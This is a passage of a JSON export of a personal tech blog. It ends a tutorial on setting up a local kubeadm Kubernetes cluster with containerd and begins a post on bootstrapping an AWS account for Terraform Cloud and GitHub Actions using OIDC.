style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -cs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -ril\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /usr/lib/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e grep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e awk\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --system\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e upgrade\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io=1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.service\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eFrom there we should be ready to join the cluster. When we ran \u003ccode\u003ekubeadm init\u003c/code\u003e previously it\nprinted a join command out that we could use but I am going to show you how to do it if you\nwere coming back later and no longer had that token.\u003c/p\u003e\n\u003cp\u003eBack on the \u003cem\u003econtroplane\u003c/em\u003e node run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --print-join-command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e join\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 192.168.64.7:6443\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow copy that command and run it with \u003ccode\u003esudo\u003c/code\u003e on the worker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e join\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 192.168.64.7:6443\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAfter this completes it will take a minute or two for everything to be synced up but if you go\nback to the master node you should have 2 ready nodes now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 46m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 79s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eAccessing the cluster outside of the VMs!\u003c/h2\u003e\n\u003cp\u003eNow the final part is to get the \u003ccode\u003eadmin.conf\u003c/code\u003e as a kubeconfig on your machine so you can control\nit from outside of the cluster. To do this we can use scp\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e transfer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane:/home/ubuntu/.kube/config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e local.config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNormally kubernetes configuration is in ~/.kube/config but I like to maintain a separate file for\neach cluster and then I set the \u003ccode\u003eKUBECONFIG\u003c/code\u003e env var to access it.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e KUBECONFIG=local.config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 56m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 11m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e","category":"Kubernetes","date":"2022-04-17T00:00:00Z","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kubeadm"},{"id":["2023","aws_from_scratch_apply_before_merge"],"path":"2023/aws_from_scratch_apply_before_merge","contentHtml":"\u003cp\u003eFollowing this article will get you setup with an AWS Root account that can be\nmanaged through Terraform Cloud with OIDC and github actions. As a best practice you\nshould not keep long-lived access keys in your CI/CD pipelines when\ndeploying to AWS, instead you should use OIDC (OpenID Connect) to securely\ndeploy to AWS when using Terraform Cloud or Github Actions.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/3oZd1m8_KIo\" title=\"AWS From Scratch - Preparing your account to be managed by IaC via Terraform and Github Actions\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture;web-share\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003ch1\u003eTL;DR\u003c/h1\u003e\n\u003cp\u003eDownload all the terraform from the blog post here:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-apply-before-merge\"\u003ehttps://github.com/sontek/aws-apply-before-merge\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-terraform-github-actions\"\u003ehttps://github.com/sontek/aws-terraform-github-actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHow does OIDC work\u003c/h1\u003e\n\u003cp\u003eOIDC enables us to request a short-lived access token directly from AWS. We\njust have to create trust relationship that controls which workflows are able\nto request the access tokens.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNo need to duplicate AWS credentials as long-lived GitHub secrets.\u003c/li\u003e\n\u003cli\u003eSince we are using a short-lived access token that is only valid for a single\njob there is no reason to worry about rotating secrets.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe following diagram gives an overview of how we can use Terraform Cloud's\nOIDC provider to integrate with AWS:\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003eflowchart RL\nsubgraph AWS[AWS #1]\n direction LR\n OIDC[OIDC Trust]\n Roles\n Resources\nend\nsubgraph Terraform[Terraform Cloud Workflow #2]\n OIDCProvider[OIDC Provider]\nend\n\nAWS --\u003e Token[Access Token #4] --\u003e Terraform\nTerraform --\u003e JWT[JWT \u0026#x26; Cloud Role ID #3] --\u003e AWS\u003c/pre\u003e\n\u003col\u003e\n\u003cli\u003eIn AWS, create an OIDC trust between a role and our terraform cloud\nworkflow(s) that need access to the cloud.\u003c/li\u003e\n\u003cli\u003eEvery time a job runs, TFC's OIDC Provider auto-generates an OIDC token.\nThis token contains multiple claims to establish a security-hardened and\nverifiable identity about the specific workflow that is trying to authenticate.\u003c/li\u003e\n\u003cli\u003eRequest this token from TFC's OIDC provider, and present it to AWS\u003c/li\u003e\n\u003cli\u003eOnce AWS successfully validates the claims presented in the token, it then\nprovides a short-lived cloud access token that is available only for the duration\nof the job.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eWhat does this post accomplish\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eSetup a root AWS account that is managed through terraform\u003c/li\u003e\n\u003cli\u003eSetup OIDC authentication with Terraform Cloud so it can talk to AWS\u003c/li\u003e\n\u003cli\u003eSetup Github Actions authentication with Terraform Cloud so we can run plan\nand apply through the CI/CD pipeline.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eSetup AWS Access\u003c/h1\u003e\n\u003cp\u003eIt is very bad practice to use the root account for much of anything but for\nbootstrapping the account it is necessary, so the first step is to get your\n\u003ccode\u003eAWS_ACCESS_KEY_ID\u003c/code\u003e and \u003ccode\u003eAWS_SECRET_ACCESS_KEY\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTo do this click your account and choose \u003ccode\u003eSecurity Credentials\u003c/code\u003e in the top\nright:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/security_credentials.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThen choose \u003ccode\u003eCreate Access key\u003c/code\u003e:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/create_access_token.png\" width=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou need to set these environment variables in your shell so that your local\nshell has access to AWS. After you set them you can verify you set them correctly\nby running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand you should get a result similar to:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"json\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"json\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"UserId\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Account\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::888888888888:root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eBootstrap\u003c/h2\u003e\n\u003cp\u003eBefore you can manage any of your accounts through Terraform Cloud you will need to\nbootstrap some core infrastructure like OIDC so Terraform Cloud can authenticate\nsecurely and manage AWS Resources on your behalf.\u003c/p\u003e\n\u003cp\u003eI personally prefer doing this in two repositories:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra-bootstrap\u003c/code\u003e: This repository does the bare minimum to hook up terraform\ncloud with your AWS account and stores the state in git. It is the only infra\nthat will not be controlled by your CI/CD pipeline.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra\u003c/code\u003e: The actual repository where all the rest of your AWS resources are\nmanaged. It will store state in Terraform Cloud and you can introduce a\nCI/CD pipeline for approving changes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote\u003c/strong\u003e: This repository will be generated with the terraform code.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAfter manually creating the git repository \u003ccode\u003einfra-bootstrap\u003c/code\u003e in your Github\naccount We will need 3 providers to bootstrap the account \u003ccode\u003eaws\u003c/code\u003e, 